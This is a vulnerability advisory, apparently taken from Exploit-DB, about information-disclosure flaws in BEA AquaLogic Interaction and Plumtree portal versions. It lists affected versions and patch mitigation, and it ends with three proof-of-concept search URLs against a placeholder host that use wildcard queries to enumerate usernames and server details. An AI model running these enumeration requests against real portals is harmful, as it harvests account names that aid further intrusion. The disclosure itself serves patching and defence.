BEA AquaLogic Interaction Information Disclosure Vulnerabilities

vendor:

BEA AquaLogic Interaction

by:

5.5

CVSS

MEDIUM

Information Disclosure

200

CWE

Product Name: BEA AquaLogic Interaction

Affected Version From: BEA Plumtree Foundation in the 5.0 series, version 6.0 through service pack 1 on all platforms

Affected Version To: BEA AquaLogic Interaction 6.1 through service pack 1 on all platforms

Patch Exists: YES

Related CWE:

CPE: a:bea_systems:aqualogic_interaction:6.1::~~sp1~~~

Metasploit:

Other Scripts:

Platforms Tested: All platforms

BEA AquaLogic Interaction Information Disclosure Vulnerabilities

Attackers can exploit these issues to access valid usernames in the Plumtree portal as well as the server hostname, build date, and server version. Information harvested can aid in further attacks.

Mitigation:

Apply the necessary patches or updates provided by BEA Systems to address the information-disclosure vulnerabilities.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/26620/info

BEA AquaLogic Interaction is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to access valid usernames in the Plumtree portal as well as the server hostname, build date, and server version. Information harvested can aid in further attacks.

The following versions are vulnerable:

BEA Plumtree Foundation in the 5.0 series, version 6.0 through service pack 1 on all platforms
BEA AquaLogic Interaction 6.1 through service pack 1 on all platforms 

https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*&in_hi_req_ apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*admin*&in_hi_ req_apps=1&control=advancedstart&in_hi_req_page=100&parentname=AdvancedSearch&in_ra_ topoperator=and
https://www.example.com/portal/server.pt?in_hi_req_objtype=1&space=SearchResult&in_tx_fulltext=*test*&in_hi_req_apps= 1&control=advancedstart&in_ hi_req_page=100&parentname=AdvancedSearch&in_ra_topoperator=and